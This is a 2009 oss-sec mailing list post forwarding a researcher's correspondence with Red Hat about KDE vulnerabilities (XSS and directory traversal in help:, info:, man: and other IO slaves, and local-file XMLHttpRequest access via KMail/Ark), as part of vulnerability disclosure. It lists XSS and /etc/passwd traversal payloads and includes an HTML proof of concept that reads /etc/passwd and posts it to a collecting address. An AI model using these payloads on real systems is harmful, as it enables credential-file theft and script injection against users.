oss-sec mailing list archives

Previous By Date Next
Previous By Thread Next

Re: Re: Some small KDE issues

From: Tim Brown <tmb () 65535 com>
Date: Fri, 11 Dec 2009 14:06:28 +0000
Attached is my exchange with Thomas Hoger at Redhat about these issues.  You 
may also want to take a look at <200911041539.11338.tmb () 65535 com> which 
details our original advisories.

Tim
-- 
Tim Brown
<mailto:tmb () 65535 com>
--- Begin Message --- From: Tim Brown <tmb () 65535 com>
Date: Fri, 30 Oct 2009 10:50:52 +0000
On Friday 30 October 2009 09:41:13 Tomas Hoger wrote:

Hi Tim!

On Thu, 29 Oct 2009 22:08:20 +0000 Tim Brown <tmb () 65535 com> wrote:

* Insufficent validation by certain IO slaves (the majority of
patches relate to this)


Those should be all the help: fixes, I presume, that are documented as
"not really security" in upstream commits.


Specifically, we reported the following:

* pydoc:<html><body><script>alert('xss')</script></body></html> - fixed in 
3.5.10
* man:<script src="http://server/test.js";> - fixed in 3.5.10
* help:<script>alert('xss')</script>
* info:/dir/<script>alert('xss')</script>
* perldoc:<body onLoad="javascript:alert(1)">
* help:/../../../../../../../../../../../etc/passwd

(As we make clear in our advisory, the exploitation of these requires user 
participation which significantly reduces their effectiveness).

Also, the finger IO slave rendered any active content returned by the server.




* Ark rendering certain types of content using KHTML (KDE chose to
fix this point of entry by prohibiting XMLHttpRequest to access
aribitrary IO slaves since the supplied PoC was using using it to
access the local file system, one patch for this)


That was one of my guesses and should be related to the "XMLHttpRequest
only to http/webdav URLs" patch.  This implies you've managed to build
a PoC that accesses some other protocol URL (file: or help:, most
likely) using XMLHttpRequest, which did not work for me in my tests ;(.


Here's an example, the PoC for Kmail (this isn't in the advisory althought it 
was shared with KDE):

<html>
<body>
<h1>KMail Test</h1>
<form method="post" action="http://127.0.0.1:9090/";><input type="hidden" 
name="targetFile"></form>
<script>
var HTTPSession = new XMLHttpRequest();
if (!document.domain) {
        targetFile = "file:///etc/passwd";
        HTTPSession.open("GET", targetFile, null);
        HTTPSession.send(null);
        if(HTTPSession.responseText) {
                document.forms[0].targetFile.value = HTTPSession.responseText;
        }
        document.forms[0].submit();
}
</script>
</form>
</body>
</html>


* KMail rendering certain types of content using Konqueror (fix as
with Ark)


Is this about the fact that when you click on an html attachment in
kmail, by default it offers you to open it using konqueror (i.e. save
to disk + local open)?  Or is there other way to trigger this?  So it's
the same problem as with Ark, and is not really a flaw in Ark / Kmail,
but XMLHttpRequest implementation flaw, right?  This still seems quite
far from the "uncontrolled XMLHTTPRequests to remote sites" mentioned
in the oCERT advisory, as the patch only does some "local" access
restriction, leaving remote http/webdav access unchanged, right?


Kind of, Kmail respects the MIME type on the email attachment.  So you can get 
into situations where a user might click on a file they percieve is harmless 
(a .txt file for example) and still Konqueror will be loaded (my advisory is 
as much about the attachment spoofing itself as the payload).  Ark by 
contrast used the KHTML widget for /unknown/ file types.

As I discussed with the KDE guys, where you see the problem depends to a 
degree on how risk averse you are, for my part, but it stuck me that active 
content was in both cases being executed where the user might reasonably 
expect it not to.

The comment in oCERT's advisory about both KDE and Portcullis that:

"The exploitation of these vulnerabilities is unlikely according to Portcullis 
and KDE but the execution of active content is nonetheless unexpected and 
might pose a threat."

was intended to express that in a /sensitive/ manner.


So 2 issues basically:
- directory traversal / XSS  in help:
- XMLHttpRequest local access

Btw, any good reason to not have any of the above discussed on oss-sec?


Only the fact that the oCERT advisory is vague and I'm not in a position to 
officially release our advisories myself.  We have a responsible disclosure 
policy and whilst I wrote these advisories, day to day liason with vendors is 
carried out by others within Portcullis as part of that process.  They are 
aware that oCERT have published and I would expect our advisories in the 
coming days.


* Konqueror populating incorrect forms with KWallet stored
credentials (unhandled by any patch AFAIK)


Oh, even more that are not yet covered by oCERT.


No, I believe KDE's position was essentially NOTABUG.  It's very similar to 
CVE-2006-6077 if that helps.  Konqueror/Kwallet store/trust the form source 
address, not the destination action URL.

Tim
-- 
Tim Brown
<mailto:tmb () 65535 com>

--- End Message ---
--- Begin Message --- From: Tim Brown <tmb () 65535 com>
Date: Sat, 31 Oct 2009 20:50:46 +0000
On Saturday 31 October 2009 19:42:37 Tomas Hoger wrote:

Hi Tim!

On Fri, 30 Oct 2009 10:50:52 +0000 Tim Brown <tmb () 65535 com> wrote:

* pydoc:<html><body><script>alert('xss')</script></body></html> -
fixed in 3.5.10
* man:<script src="http://server/test.js";> - fixed in 3.5.10
* help:<script>alert('xss')</script>
* info:/dir/<script>alert('xss')</script>
* perldoc:<body onLoad="javascript:alert(1)">
* help:/../../../../../../../../../../../etc/passwd

(As we make clear in our advisory, the exploitation of these requires
user participation which significantly reduces their effectiveness).


The issues were originally written up in 2007 as part of a paper I circulated 
to KDE.  Since at the time they were deep in to KDE4 development they didn't 
have the resources to fix them at that time (although Trolltech fixed 
CVE-2007-3388 which was also mentioned in said paper).   The fact that 
individual cases were fixed is probably down to reports by others 
independently (http://sla.ckers.org/forum/read.php?3,14265 was a public 
report of the unfixed info XSS by another researcher for example).  The patch 
for man appears to be 
http://websvn.kde.org/branches/KDE/3.5/kdebase/kioslave/man/kio_man.cpp?revision=669003&view=markup 
but I'm not sure about pydoc (I didn't test my PoC on all point releases but 
simply noticed that they'd been fixed when I was updating the paper around 
the time of .10).

*snip*


Kind of, Kmail respects the MIME type on the email attachment.  So
you can get into situations where a user might click on a file they
percieve is harmless (a .txt file for example) and still Konqueror
will be loaded (my advisory is as much about the attachment spoofing
itself as the payload).


Thanks, understood.


Ark by contrast used the KHTML widget for /unknown/ file types.


During the discussions with KDE upstream, has it been proposed to
disable java script in Ark previews completely (as in e.g. kmail
previews)?  I don't see a good reason why it should be needed.


I recall it was discussed, I'm not sure what the outcome was (other than the 
fact that the change wasn't made).  I actually discussed it with Aaron Seigo 
at the time of the original paper he threw up the idea of a separate IO slave 
for temporary files but this was well before I turned to oCERT having lost 
faith that KDE were managing the problems I had reported.


Only the fact that the oCERT advisory is vague and I'm not in a
position to officially release our advisories myself.  We have a
responsible disclosure policy and whilst I wrote these advisories,
day to day liason with vendors is carried out by others within
Portcullis as part of that process.  They are aware that oCERT have
published and I would expect our advisories in the coming days.


Ok, thanks for clarifying!


Not a problem, if you're okay with it, maybe I could relay these private 
emails to oss-security as soon as our advisories are up?  Not verbatim, but 
quoting the crucial technical bits (I don't see any value in dumping politics 
on to the the list).

Tim
-- 
Tim Brown
<mailto:tmb () 65535 com>

--- End Message ---
Previous By Date Next
Previous By Thread Next

Current thread: